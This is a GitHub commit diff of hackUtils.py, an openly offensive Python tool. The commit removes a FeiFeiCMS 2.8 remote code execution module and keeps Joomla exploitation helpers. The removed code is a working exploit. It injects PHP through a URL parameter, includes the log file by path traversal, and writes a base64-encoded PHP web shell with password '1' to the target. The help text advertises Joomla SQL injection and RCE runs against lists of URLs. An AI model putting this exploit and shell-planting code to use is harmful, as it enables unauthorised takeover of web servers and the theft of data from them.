Skip to content

Commit 587fe8e

Browse files
committed
Update hackUtils.py
1 parent c680691 commit 587fe8e

File tree

1 file changed

+4
-83
lines changed

1 file changed

+4
-83
lines changed

hackUtils.py

Lines changed: 4 additions & 83 deletions
Original file line numberDiff line numberDiff line change
@@ -474,9 +474,9 @@ def getInfoByJoomlaRCE(result, param):
474474
if "System" in param:
475475
reg = '.*<tr><td class="e">System </td><td class="v">([^<>]*?)</td></tr>.*'
476476
elif "DOCUMENT_ROOT" in param:
477-
reg = '.*<tr><td class="e">_SERVER\["DOCUMENT_ROOT"\]</td><td class="v">([^<>]*?)</td></tr>.*'
477+
reg = '.*<tr><td class="e">DOCUMENT_ROOT </td><td class="v">([^<>]*?)</td></tr>.*'
478478
elif "SCRIPT_FILENAME" in param:
479-
reg = '.*<tr><td class="e">_SERVER\["SCRIPT_FILENAME"\]</td><td class="v">([^<>]*?)</td></tr>.*'
479+
reg = '.*<tr><td class="e">SCRIPT_FILENAME </td><td class="v">([^<>]*?)</td></tr>.*'
480480
match_url = re.search(reg,result)
481481
if match_url:
482482
info=match_url.group(1)
@@ -500,84 +500,10 @@ def getShellByJoomlaRCE(url, system, script_filename):
500500
return "no info!"
501501
else:
502502
return "no info!"
503-
504-
def rceFeiFeiCMS(value):
505-
now = time.strftime('%H:%M:%S',time.localtime(time.time()))
506-
print "["+str(now)+"] [INFO] Checking FeiFeiCMS 2.8 Remote Code Execution..."
507-
if 'http://' in value or 'https://' in value:
508-
url=value
509-
checkFeiFeiCMS(url)
510-
else:
511-
urlfile=open(value,'r')
512-
for url in urlfile:
513-
if url.strip():
514-
checkFeiFeiCMS(url)
515-
urlfile.close()
516-
output = os.path.dirname(os.path.realpath(__file__))+"/feifeicms_rce.txt"
517-
if os.path.exists(output):
518-
print "\n[INFO] Scanned Vuls:"
519-
print "[*] Output File: "+output
520-
521-
def checkFeiFeiCMS(url):
522-
url = url.strip()
523-
reg = 'http[s]*://.*/$'
524-
m = re.match(reg,url)
525-
if not m:
526-
url = url + "/"
527-
logfilename=str(time.strftime('%y_%m_%d',time.localtime(time.time())))+".log.html"
528-
poc_1 = url+"index.php?s=my-show-id-1{~phpinfo()}.html"
529-
poc_2 = url+"index.php?s=my-show-id-\\..\\Runtime\\Logs\\"+logfilename
530-
try:
531-
result = exploitFeiFeiCMS(poc_1,poc_2)
532-
if 'phpinfo()' in result:
533-
system = getInfoByFeiFeiCMS(result, 'System')
534-
document_root = getInfoByFeiFeiCMS(result, 'DOCUMENT_ROOT')
535-
script_filename = getInfoByFeiFeiCMS(result, 'SCRIPT_FILENAME')
536-
shell_file = getShellByFeiFeiCMS(url)
537-
vuls='[+] vuls found! url: '+url+', System: '+system+', document_root: '+document_root+', script_filename: '+script_filename+', shell_file: '+shell_file
538-
logfile(vuls,'feifeicms_rce.txt')
539-
print vuls
540-
else:
541-
print '[!] no vuls! url: '+url
542-
except Exception,e:
543-
print '[!] connection failed! url: '+url
544-
545-
def exploitFeiFeiCMS(p1, p2):
546-
requests.get(p1, timeout=10)
547-
response = requests.get(p2, timeout=10)
548-
return response.content
549-
550-
def getInfoByFeiFeiCMS(result, param):
551-
if "System" in param:
552-
reg = '.*<tr><td class="e">System </td><td class="v">([^<>]*?)</td></tr>.*'
553-
elif "DOCUMENT_ROOT" in param:
554-
reg = '.*<tr><td class="e">_SERVER\["DOCUMENT_ROOT"\]</td><td class="v">([^<>]*?)</td></tr>.*'
555-
elif "SCRIPT_FILENAME" in param:
556-
reg = '.*<tr><td class="e">_SERVER\["SCRIPT_FILENAME"\]</td><td class="v">([^<>]*?)</td></tr>.*'
557-
match_url = re.search(reg,result)
558-
if match_url:
559-
info=match_url.group(1)
560-
else:
561-
info = 'no info!'
562-
return info
563-
564-
def getShellByFeiFeiCMS(url):
565-
logfilename=str(time.strftime('%y_%m_%d',time.localtime(time.time())))+".log.html"
566-
#cmd ="file_put_contents('1ndex.php',base64_decode(base64_decode('UEQ5d2FIQWdhV1lvSVNSZlVFOVRWRnNuYUdGdVpHeGxKMTBwZTJobFlXUmxjaWduU0ZSVVVDOHhMakVnTkRBMElFNXZkQ0JHYjNWdVpDY3BPeUJsZUdsMEtDazdJSDFsYkhObGV5QWtjejBpY0NJdUluSWlMaUpsSWk0aVp5SXVJbDhpTGlKeUlpNGlaU0l1SW5BaUxpSnNJaTRpWVNJdUltTWlMaUpsSWpzZ0pITW9JbjViWkdselkzVjZYWDVsSWl3a1gxQlBVMVJiSjJoaGJtUnNaU2RkTENKQlkyTmxjM01pS1RzZ2ZTQS9QZz09')))" #password: handle
567-
#cmd = "file_put_contents('wooyun.txt','wooyun')"
568-
shell = 'h.php'
569-
cmd ="file_put_contents('"+shell+"',base64_decode(base64_decode('UEQ5d2FIQWdRR1YyWVd3b0pGOVFUMU5VV3ljeEoxMHBPejgr')))" #password: 1
570-
payload_l = url+"index.php?s=my-show-id-1{~"+str(cmd)+"}.html"
571-
payload_2 = url+"index.php?s=my-show-id-\\..\\Runtime\\Logs\\"+logfilename
572-
try:
573-
exploitFeiFeiCMS(payload_l, payload_2)
574-
return url+shell
575-
except Exception, e:
576-
return "no info!"
577503

578504
def myhelp():
579505
print "\n+-----------------------------+"
580-
print "| hackUtils v0.0.4 |"
506+
print "| hackUtils v0.0.3 |"
581507
print "| Avfisher - avfisher.win |"
582508
print "| [email protected] |"
583509
print "+-----------------------------+\n"
@@ -589,7 +515,6 @@ def myhelp():
589515
print " -w keyword, --wooyun=keyword Fetch URLs from Wooyun Corps based on specific keyword"
590516
print " -j url|file, --joomla=url|file Exploit SQLi for Joomla 3.2 - 3.4"
591517
print " -r url|file, --rce=url|file Exploit Remote Code Execution for Joomla 1.5 - 3.4.5 (Password: handle)"
592-
print " -f url|file, --ffcms=url|file Exploit Remote Code Execution for FeiFeiCMS 2.8 (Password: 1)"
593518
print " -d site, --domain=site Scan subdomains based on specific site"
594519
print " -e string, --encrypt=string Encrypt string based on specific encryption algorithms (e.g. base64, md5, sha1, sha256, etc.)"
595520
print "\nExamples:"
@@ -600,15 +525,13 @@ def myhelp():
600525
print " hackUtils.py -j urls.txt"
601526
print " hackUtils.py -r http://www.joomla.com/"
602527
print " hackUtils.py -r urls.txt"
603-
print " hackUtils.py -f http://www.feifeicms.com/"
604-
print " hackUtils.py -f urls.txt"
605528
print " hackUtils.py -d example.com"
606529
print " hackUtils.py -e text"
607530
print "\n[!] to see help message of options run with '-h'"
608531

609532
def main():
610533
try:
611-
options,args = getopt.getopt(sys.argv[1:],"hb:g:w:j:r:f:d:e:",["help","baidu=","google=","wooyun=","joomla=","rce=","ffcms=","domain=","encrypt="])
534+
options,args = getopt.getopt(sys.argv[1:],"hb:g:w:j:r:d:e:",["help","baidu=","google=","wooyun=","joomla=","rce=","domain=","encrypt="])
612535
except getopt.GetoptError:
613536
print "\n[WARNING] error, to see help message of options run with '-h'"
614537
sys.exit()
@@ -626,8 +549,6 @@ def main():
626549
checkJoomla(value)
627550
if name in ("-r","--rce"):
628551
rceJoomla(value)
629-
if name in ("-f","--ffcms"):
630-
rceFeiFeiCMS(value)
631552
if name in ("-d","--domain"):
632553
scanSubDomains('baidu',value,50)
633554
if name in ("-e","--encrypt"):

0 commit comments

Comments
 (0)